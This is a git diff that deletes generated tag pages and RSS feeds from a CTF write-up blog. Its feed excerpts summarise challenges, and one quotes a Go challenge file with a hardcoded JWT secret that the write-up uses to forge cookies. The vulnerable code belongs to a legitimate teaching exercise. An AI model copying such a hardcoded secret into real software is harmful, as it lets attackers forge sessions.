- - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Gheddus

- - - -
- - -
-

2025

- -
    - -
  • - Ben 10 - - - 03/11 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/gheddus/index.xml b/public/tags/gheddus/index.xml deleted file mode 100644 index 4b9c8e39..00000000 --- a/public/tags/gheddus/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Gheddus on ByteTheCookies - http://localhost:1313/tags/gheddus/ - Recent content in Gheddus on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 16:52:02 +0100 - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - \ No newline at end of file diff --git a/public/tags/gheddus/page/1/index.html b/public/tags/gheddus/page/1/index.html deleted file mode 100644 index e9c97ca6..00000000 --- a/public/tags/gheddus/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/gheddus/ - - - - - - diff --git a/public/tags/golang/index.html b/public/tags/golang/index.html deleted file mode 100644 index 5106418b..00000000 --- a/public/tags/golang/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Golang - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Golang

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/golang/index.xml b/public/tags/golang/index.xml deleted file mode 100644 index bf5917b1..00000000 --- a/public/tags/golang/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Golang on ByteTheCookies - http://localhost:1313/tags/golang/ - Recent content in Golang on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:49:40 +0100 - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - \ No newline at end of file diff --git a/public/tags/golang/page/1/index.html b/public/tags/golang/page/1/index.html deleted file mode 100644 index c2d28ec6..00000000 --- a/public/tags/golang/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/golang/ - - - - - - diff --git a/public/tags/hardware/rf/index.html b/public/tags/hardware/rf/index.html deleted file mode 100644 index e00a4d5d..00000000 --- a/public/tags/hardware/rf/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Hardware/Rf - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Hardware/Rf

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/hardware/rf/index.xml b/public/tags/hardware/rf/index.xml deleted file mode 100644 index 01b29ac3..00000000 --- a/public/tags/hardware/rf/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Hardware/Rf on ByteTheCookies - http://localhost:1313/tags/hardware/rf/ - Recent content in Hardware/Rf on ByteTheCookies - Hugo -- gohugo.io - en - Thu, 17 Jul 2025 17:51:20 +0200 - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - \ No newline at end of file diff --git a/public/tags/hardware/rf/page/1/index.html b/public/tags/hardware/rf/page/1/index.html deleted file mode 100644 index 0d96bf76..00000000 --- a/public/tags/hardware/rf/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/hardware/rf/ - - - - - - diff --git a/public/tags/hash-cracking/index.html b/public/tags/hash-cracking/index.html deleted file mode 100644 index 1660692c..00000000 --- a/public/tags/hash-cracking/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Hash Cracking - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Hash Cracking

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/hash-cracking/index.xml b/public/tags/hash-cracking/index.xml deleted file mode 100644 index db761661..00000000 --- a/public/tags/hash-cracking/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Hash Cracking on ByteTheCookies - http://localhost:1313/tags/hash-cracking/ - Recent content in Hash Cracking on ByteTheCookies - Hugo -- gohugo.io - en - Thu, 17 Jul 2025 17:51:20 +0200 - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - \ No newline at end of file diff --git a/public/tags/hash-cracking/page/1/index.html b/public/tags/hash-cracking/page/1/index.html deleted file mode 100644 index 4a54e7d8..00000000 --- a/public/tags/hash-cracking/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/hash-cracking/ - - - - - - diff --git a/public/tags/idek/index.html b/public/tags/idek/index.html deleted file mode 100644 index b19ae32a..00000000 --- a/public/tags/idek/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Idek - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Idek

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/idek/index.xml b/public/tags/idek/index.xml deleted file mode 100644 index ae643a08..00000000 --- a/public/tags/idek/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Idek on ByteTheCookies - http://localhost:1313/tags/idek/ - Recent content in Idek on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:37 +0200 - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - \ No newline at end of file diff --git a/public/tags/idek/page/1/index.html b/public/tags/idek/page/1/index.html deleted file mode 100644 index 6a2171ae..00000000 --- a/public/tags/idek/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/idek/ - - - - - - diff --git a/public/tags/index.html b/public/tags/index.html deleted file mode 100644 index 12f366dc..00000000 --- a/public/tags/index.html +++ /dev/null @@ -1,1867 +0,0 @@ - - - - - - - - - - - Tags - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-

Tags

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - Web - (31) - - - - - - - - Crypto - (19) - - - - - - - - Python - (18) - - - - - - - - CTF - (16) - - - - - - - - Pwn - (11) - - - - - - - - Misc - (11) - - - - - - - - Reverse - (8) - - - - - - - - 50 Points - (5) - - - - - - - - Italy - (4) - - - - - - - - Cybercup 2025 - (4) - - - - - - - - Osint - (4) - - - - - - - - Rev - (4) - - - - - - - - Forensics - (3) - - - - - - - - Race Condition - (3) - - - - - - - - Blockchain - (3) - - - - - - - - JavaScript - (3) - - - - - - - - 17 Solves - (3) - - - - - - - - 100 Points - (2) - - - - - - - - 10 Solves - (2) - - - - - - - - XSS - (2) - - - - - - - - Mobile - (2) - - - - - - - - Dope_cat - (2) - - - - - - - - NoSQLI - (2) - - - - - - - - NoobMaster + NoobHacker - (2) - - - - - - - - PPC - (2) - - - - - - - - Dadadani - (2) - - - - - - - - AlBovo - (2) - - - - - - - - 491 Points - (2) - - - - - - - - 280 Points - (2) - - - - - - - - Vigneswar - (2) - - - - - - - - SqlAlchemy Injection - (1) - - - - - - - - 125 Points - (1) - - - - - - - - 175 Points - (1) - - - - - - - - Abdelhameed Ghazy - (1) - - - - - - - - Cryptocat - (1) - - - - - - - - 29 Solves - (1) - - - - - - - - 496 Points - (1) - - - - - - - - Hardware/Rf - (1) - - - - - - - - Idek - (1) - - - - - - - - Litc - (1) - - - - - - - - 86 Solves - (1) - - - - - - - - Cyberspace - (1) - - - - - - - - Team Srdnlen - (1) - - - - - - - - 0xM4hm0ud - (1) - - - - - - - - 144 Points - (1) - - - - - - - - 383 Points - (1) - - - - - - - - Drago - (1) - - - - - - - - Sahuang - (1) - - - - - - - - 417 Points - (1) - - - - - - - - Information Leak - (1) - - - - - - - - Javascript/Java - (1) - - - - - - - - 44 Solves - (1) - - - - - - - - Team K1ndasus - (1) - - - - - - - - 4 Solves - (1) - - - - - - - - Hash Cracking - (1) - - - - - - - - Leaked Secret - (1) - - - - - - - - Null_awe - (1) - - - - - - - - Just_Riccio - (1) - - - - - - - - Stephanie - (1) - - - - - - - - 176 Solves - (1) - - - - - - - - 499 Points - (1) - - - - - - - - Sekai - (1) - - - - - - - - 184 Solves - (1) - - - - - - - - 39 Solves - (1) - - - - - - - - 119 Solves - (1) - - - - - - - - 22 Solves - (1) - - - - - - - - CyberCup2025 - (1) - - - - - - - - Insecure Randomness - (1) - - - - - - - - Val - (1) - - - - - - - - 394 Points - (1) - - - - - - - - Pwnlentoni - (1) - - - - - - - - Team Ulisse - (1) - - - - - - - - 25 Solves - (1) - - - - - - - - 300 Points - (1) - - - - - - - - 9 Solves - (1) - - - - - - - - Blind SSTI - (1) - - - - - - - - 286 Points - (1) - - - - - - - - 62 Solves - (1) - - - - - - - - Beginner - (1) - - - - - - - - Gheddus - (1) - - - - - - - - Zeptoide - (1) - - - - - - - - 460 Points - (1) - - - - - - - - 78 Solves - (1) - - - - - - - - Spipm - (1) - - - - - - - - 187 - (1) - - - - - - - - 218 Solves - (1) - - - - - - - - 483 Points - (1) - - - - - - - - Deut-Erium - (1) - - - - - - - - Schrödy - (1) - - - - - - - - 232 Points - (1) - - - - - - - - Jwt Secret Leak - (1) - - - - - - - - 127 Solves - (1) - - - - - - - - 53 Solves - (1) - - - - - - - - Solidity - (1) - - - - - - - - Zaua - (1) - - - - - - - - 431 Points - (1) - - - - - - - - Cryptography - (1) - - - - - - - - Reverse Engineering - (1) - - - - - - - - Template Injection - (1) - - - - - - - - Reversing - (1) - - - - - - - - 104 Solves - (1) - - - - - - - - Filter Bypass + RCE - (1) - - - - - - - - Golang - (1) - - - - - - - - N00bz - (1) - - - - - - - - Pietro Lepori - (1) - - - - - - - - Rex - (1) - - - - - - - - 129 Solves - (1) - - - - - - - - 388 Points - (1) - - - - - - - - Prototype Pollution - (1) - - - - - - - - SSRF - (1) - - - - - - - - Careless_finch - (1) - - - - - - - - Team TRX - (1) - - - - - - - - 127 Points - (1) - - - - - - - - Android - (1) - - - - - - - - Business Logic Vulnerability - (1) - - - - - - - - Ndr - (1) - - - - - - - - 428 Points - (1) - - - - - - - - 52 Solves - (1) - - - - - - - - 498 Points - (1) - - - - - - - - 95 Solves - (1) - - - - - - - - Bad Practice - (1) - - - - - - - - Kotlin - (1) - - - - - - - - SQLi + XSS - (1) - - - - - - - - Stecca - (1) - - - - - - - - 122 Solves - (1) - - - - - - - - 133 Points - (1) - - - - - - - - 14 Solves - (1) - - - - - - - - Jail - (1) - - - - - - - - 13 Solves - (1) - - - - - - - - Octaviusss - (1) - - - - - - - - Rising - (1) - - - - - - - - Salvatore Abello - (1) - - - - - - - - 100 - (1) - - - - - - - - File Patching - (1) - - - - - - - - GameHacking - (1) - - - - - - - - Meni - (1) - - - - - - - - Php - (1) - - - - - - - - 165 Solves - (1) - - - - - - - - 4rUN - (1) - - - - - - - - Rust - (1) - - - - - - - - Symlink - (1) - - - - - - - - 173 Solves - (1) - - - - - - - - 476 Points - (1) - - - - - - - - 79 Solves - (1) - - - - - - - - Information Leaking - (1) - - - - - - - - Proxy Bypass - (1) - - - - - - - - Sage - (1) - - -
- -
-
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/index.xml b/public/tags/index.xml deleted file mode 100644 index ee2f3ff7..00000000 --- a/public/tags/index.xml +++ /dev/null @@ -1,1334 +0,0 @@ - - - - Tags on ByteTheCookies - http://localhost:1313/tags/ - Recent content in Tags on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - 10 Solves - http://localhost:1313/tags/10-solves/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/tags/10-solves/ - - - - - 460 Points - http://localhost:1313/tags/460-points/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/tags/460-points/ - - - - - Blockchain - http://localhost:1313/tags/blockchain/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/tags/blockchain/ - - - - - Solidity - http://localhost:1313/tags/solidity/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/tags/solidity/ - - - - - Zeptoide - http://localhost:1313/tags/zeptoide/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/tags/zeptoide/ - - - - - Crypto - http://localhost:1313/tags/crypto/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/crypto/ - - - - - CTF - http://localhost:1313/tags/ctf/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/ctf/ - - - - - Forensics - http://localhost:1313/tags/forensics/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/forensics/ - - - - - Misc - http://localhost:1313/tags/misc/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/misc/ - - - - - Pwn - http://localhost:1313/tags/pwn/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/pwn/ - - - - - Reversing - http://localhost:1313/tags/reversing/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/reversing/ - - - - - Web - http://localhost:1313/tags/web/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/tags/web/ - - - - - Hardware/Rf - http://localhost:1313/tags/hardware/rf/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/tags/hardware/rf/ - - - - - Hash Cracking - http://localhost:1313/tags/hash-cracking/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/tags/hash-cracking/ - - - - - Mobile - http://localhost:1313/tags/mobile/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/tags/mobile/ - - - - - Osint - http://localhost:1313/tags/osint/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/tags/osint/ - - - - - Rev - http://localhost:1313/tags/rev/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/tags/rev/ - - - - - 22 Solves - http://localhost:1313/tags/22-solves/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/tags/22-solves/ - - - - - 280 Points - http://localhost:1313/tags/280-points/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/tags/280-points/ - - - - - Python - http://localhost:1313/tags/python/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/tags/python/ - - - - - SQLi + XSS - http://localhost:1313/tags/sqli-+-xss/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/tags/sqli-+-xss/ - - - - - Val - http://localhost:1313/tags/val/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/tags/val/ - - - - - 17 Solves - http://localhost:1313/tags/17-solves/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/tags/17-solves/ - - - - - 300 Points - http://localhost:1313/tags/300-points/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/tags/300-points/ - - - - - Insecure Randomness - http://localhost:1313/tags/insecure-randomness/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/tags/insecure-randomness/ - - - - - Stecca - http://localhost:1313/tags/stecca/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/tags/stecca/ - - - - - 4 Solves - http://localhost:1313/tags/4-solves/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/4-solves/ - - - - - 496 Points - http://localhost:1313/tags/496-points/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/496-points/ - - - - - CyberCup2025 - http://localhost:1313/tags/cybercup2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/cybercup2025/ - - - - - Just_Riccio - http://localhost:1313/tags/just_riccio/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/just_riccio/ - - - - - Pwnlentoni - http://localhost:1313/tags/pwnlentoni/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/pwnlentoni/ - - - - - Reverse Engineering - http://localhost:1313/tags/reverse-engineering/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/tags/reverse-engineering/ - - - - - 388 Points - http://localhost:1313/tags/388-points/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/tags/388-points/ - - - - - AlBovo - http://localhost:1313/tags/albovo/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/tags/albovo/ - - - - - JavaScript - http://localhost:1313/tags/javascript/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/tags/javascript/ - - - - - Prototype Pollution - http://localhost:1313/tags/prototype-pollution/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/tags/prototype-pollution/ - - - - - 14 Solves - http://localhost:1313/tags/14-solves/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/tags/14-solves/ - - - - - Blind SSTI - http://localhost:1313/tags/blind-ssti/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/tags/blind-ssti/ - - - - - Cybercup 2025 - http://localhost:1313/tags/cybercup-2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/tags/cybercup-2025/ - - - - - Italy - http://localhost:1313/tags/italy/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/tags/italy/ - - - - - Team Ulisse - http://localhost:1313/tags/team-ulisse/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/tags/team-ulisse/ - - - - - 428 Points - http://localhost:1313/tags/428-points/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/tags/428-points/ - - - - - Pietro Lepori - http://localhost:1313/tags/pietro-lepori/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/tags/pietro-lepori/ - - - - - Team K1ndasus - http://localhost:1313/tags/team-k1ndasus/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/tags/team-k1ndasus/ - - - - - Zaua - http://localhost:1313/tags/zaua/ - Wed, 12 Mar 2025 22:04:00 +0100 - - http://localhost:1313/tags/zaua/ - - - - - Bad Practice - http://localhost:1313/tags/bad-practice/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/tags/bad-practice/ - - - - - Salvatore Abello - http://localhost:1313/tags/salvatore-abello/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/tags/salvatore-abello/ - - - - - NoSQLI - http://localhost:1313/tags/nosqli/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/tags/nosqli/ - - - - - Octaviusss - http://localhost:1313/tags/octaviusss/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/tags/octaviusss/ - - - - - Race Condition - http://localhost:1313/tags/race-condition/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/tags/race-condition/ - - - - - Business Logic Vulnerability - http://localhost:1313/tags/business-logic-vulnerability/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/tags/business-logic-vulnerability/ - - - - - Gheddus - http://localhost:1313/tags/gheddus/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/tags/gheddus/ - - - - - Team TRX - http://localhost:1313/tags/team-trx/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/tags/team-trx/ - - - - - Team Srdnlen - http://localhost:1313/tags/team-srdnlen/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/tags/team-srdnlen/ - - - - - 50 Points - http://localhost:1313/tags/50-points/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/tags/50-points/ - - - - - 79 Solves - http://localhost:1313/tags/79-solves/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/tags/79-solves/ - - - - - Meni - http://localhost:1313/tags/meni/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/tags/meni/ - - - - - 144 Points - http://localhost:1313/tags/144-points/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/tags/144-points/ - - - - - 25 Solves - http://localhost:1313/tags/25-solves/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/tags/25-solves/ - - - - - Dadadani - http://localhost:1313/tags/dadadani/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/tags/dadadani/ - - - - - Kotlin - http://localhost:1313/tags/kotlin/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/tags/kotlin/ - - - - - Reverse - http://localhost:1313/tags/reverse/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/tags/reverse/ - - - - - 95 Solves - http://localhost:1313/tags/95-solves/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/tags/95-solves/ - - - - - Golang - http://localhost:1313/tags/golang/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/tags/golang/ - - - - - Leaked Secret - http://localhost:1313/tags/leaked-secret/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/tags/leaked-secret/ - - - - - Schrödy - http://localhost:1313/tags/schr%C3%B6dy/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/tags/schr%C3%B6dy/ - - - - - 13 Solves - http://localhost:1313/tags/13-solves/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/tags/13-solves/ - - - - - 232 Points - http://localhost:1313/tags/232-points/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/tags/232-points/ - - - - - XSS - http://localhost:1313/tags/xss/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/tags/xss/ - - - - - 286 Points - http://localhost:1313/tags/286-points/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/tags/286-points/ - - - - - 9 Solves - http://localhost:1313/tags/9-solves/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/tags/9-solves/ - - - - - Rising - http://localhost:1313/tags/rising/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/tags/rising/ - - - - - 483 Points - http://localhost:1313/tags/483-points/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/tags/483-points/ - - - - - 53 Solves - http://localhost:1313/tags/53-solves/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/tags/53-solves/ - - - - - Information Leak - http://localhost:1313/tags/information-leak/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/tags/information-leak/ - - - - - Vigneswar - http://localhost:1313/tags/vigneswar/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/tags/vigneswar/ - - - - - 104 Solves - http://localhost:1313/tags/104-solves/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/tags/104-solves/ - - - - - 431 Points - http://localhost:1313/tags/431-points/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/tags/431-points/ - - - - - 4rUN - http://localhost:1313/tags/4run/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/tags/4run/ - - - - - Filter Bypass + RCE - http://localhost:1313/tags/filter-bypass-+-rce/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/tags/filter-bypass-+-rce/ - - - - - 129 Solves - http://localhost:1313/tags/129-solves/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/tags/129-solves/ - - - - - 394 Points - http://localhost:1313/tags/394-points/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/tags/394-points/ - - - - - Proxy Bypass - http://localhost:1313/tags/proxy-bypass/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/tags/proxy-bypass/ - - - - - 39 Solves - http://localhost:1313/tags/39-solves/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/tags/39-solves/ - - - - - 491 Points - http://localhost:1313/tags/491-points/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/tags/491-points/ - - - - - Dope_cat - http://localhost:1313/tags/dope_cat/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/tags/dope_cat/ - - - - - 476 Points - http://localhost:1313/tags/476-points/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/tags/476-points/ - - - - - 62 Solves - http://localhost:1313/tags/62-solves/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/tags/62-solves/ - - - - - Android - http://localhost:1313/tags/android/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/tags/android/ - - - - - GameHacking - http://localhost:1313/tags/gamehacking/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/tags/gamehacking/ - - - - - 127 Points - http://localhost:1313/tags/127-points/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/tags/127-points/ - - - - - 29 Solves - http://localhost:1313/tags/29-solves/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/tags/29-solves/ - - - - - Drago - http://localhost:1313/tags/drago/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/tags/drago/ - - - - - 0xM4hm0ud - http://localhost:1313/tags/0xm4hm0ud/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/tags/0xm4hm0ud/ - - - - - 122 Solves - http://localhost:1313/tags/122-solves/ - Mon, 02 Sep 2024 10:59:36 